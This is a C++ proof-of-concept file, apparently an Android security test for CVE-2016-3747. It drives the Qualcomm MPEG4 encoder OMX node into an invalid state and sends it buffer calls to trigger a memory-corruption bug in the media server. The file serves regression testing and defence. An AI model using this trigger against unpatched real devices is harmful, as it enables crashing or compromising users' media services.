1 /**
2  * Copyright (C) 2018 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #define LOG_TAG "CVE-2016-3747"
18 
19 #include <OMX_Component.h>
20 #include <binder/MemoryDealer.h>
21 #include <log/log.h>
22 #include <media/IOMX.h>
23 #include <media/OMXBuffer.h>
24 #include <media/stagefright/OMXClient.h>
25 #include <utils/StrongPointer.h>
26 
27 using namespace android;
28 
29 struct DummyOMXObserver : public BnOMXObserver {
30  public:
DummyOMXObserverDummyOMXObserver31   DummyOMXObserver() {}
32 
onMessagesDummyOMXObserver33   virtual void onMessages(const std::list<omx_message> &messages __unused) {}
34 
35  protected:
~DummyOMXObserverDummyOMXObserver36   virtual ~DummyOMXObserver() {}
37 };
38 
fuzzIOMXQcomEnc()39 bool fuzzIOMXQcomEnc() {
40   sp<IOMXNode> node;
41   sp<IOMX> mOmx;
42   int fenceFd = -1;
43   const char *name = "OMX.qcom.video.encoder.mpeg4";
44 
45   OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *)malloc(
46       sizeof(OMX_PARAM_PORTDEFINITIONTYPE));
47   params->nPortIndex = 0;  // input port
48   params->format.video.nFrameHeight = 1280 * 4;
49   params->format.video.nFrameWidth = 720 * 4;
50   params->nBufferCountActual = 12;
51   params->nBufferSize = 73728;
52   params->nBufferCountMin = 0x4;
53 
54   int inMemSize = params->nBufferSize * 12;
55   int outMemSize = 49152 * 4;
56   int inBufferCnt = 12;
57   int outBufferCnt = 4;
58   int inBufferSize = inMemSize / inBufferCnt;
59   int outBufferSize = outMemSize / outBufferCnt;
60 
61   sp<IMemory> memory;
62 
63   OMXClient client;
64   if (client.connect() != OK) {
65     ALOGE("OMXClient connect == NULL");
66     return false;
67   }
68 
69   mOmx = client.interface();
70   if (mOmx == NULL) {
71     ALOGE("OMXClient interface mOmx == NULL");
72     client.disconnect();
73     return false;
74   }
75 
76   sp<DummyOMXObserver> observer = new DummyOMXObserver();
77   status_t err = mOmx->allocateNode(name, observer, &node);
78   if (err != OK) {
79     ALOGI("%s node allocation fails", name);
80     return false;
81   }
82   // make venc in invalid state
83   err = node->sendCommand(OMX_CommandStateSet, 2);
84   if (err != OK) {
85     ALOGE("sendCommand is failed in OMX_StateIdle, err: %d", err);
86     node->freeNode();
87     return false;
88   }
89 
90   sp<MemoryDealer> dealerIn = new MemoryDealer(inMemSize);
91   IOMX::buffer_id *inBufferId = new IOMX::buffer_id[inBufferCnt];
92   for (int i = 0; i < inBufferCnt; i++) {
93     sp<IMemory> memory = dealerIn->allocate(inBufferSize);
94     if (memory.get() == nullptr) {
95       ALOGE("memory allocate failed for port index 0, err: %d", err);
96       node->freeNode();
97       return false;
98     }
99     OMXBuffer omxInBuf(memory);
100     err = node->useBuffer(0, omxInBuf, &inBufferId[i]);
101     ALOGI("useBuffer, port index 0, err: %d", err);
102   }
103 
104   sp<MemoryDealer> dealerOut = new MemoryDealer(outMemSize);
105   IOMX::buffer_id *outBufferId = new IOMX::buffer_id[outBufferCnt];
106   for (int i = 0; i < outBufferCnt; i++) {
107     sp<IMemory> memory = dealerOut->allocate(outBufferSize);
108     if (memory.get() == nullptr) {
109       ALOGE("memory allocate failed for port index 1, err: %d", err);
110       node->freeNode();
111       return false;
112     }
113     OMXBuffer omxOutBuf(memory);
114     err = node->useBuffer(1, omxOutBuf, &outBufferId[i]);
115     ALOGI("useBuffer, port index 1, err: %d", err);
116   }
117 
118   // make venc in invalid state
119   err = node->sendCommand(OMX_CommandStateSet, 3);
120   ALOGI("sendCommand, err: %d", err);
121   if (err != OK) {
122     ALOGE("sendCommand is failed in OMX_StateExecuting, err: %d", err);
123     node->freeNode();
124     return false;
125   }
126 
127   OMXBuffer omxInBuf(memory);
128   for (int i = 0; i < inBufferCnt; i++) {
129     err = node->emptyBuffer(inBufferId[i], omxInBuf, 0, 0, fenceFd);
130     ALOGI("emptyBuffer, err: %d", err);
131   }
132 
133   OMXBuffer omxOutBuf(memory);
134   for (int i = 0; i < outBufferCnt; i++) {
135     err = node->fillBuffer(outBufferId[i], omxOutBuf, fenceFd);
136     ALOGI("fillBuffer, err: %d", err);
137   }
138   free(params);
139   err = node->freeNode();
140   ALOGI("freeNode, err: %d", err);
141   return true;
142 }
143 
main()144 int main() { return fuzzIOMXQcomEnc(); }
145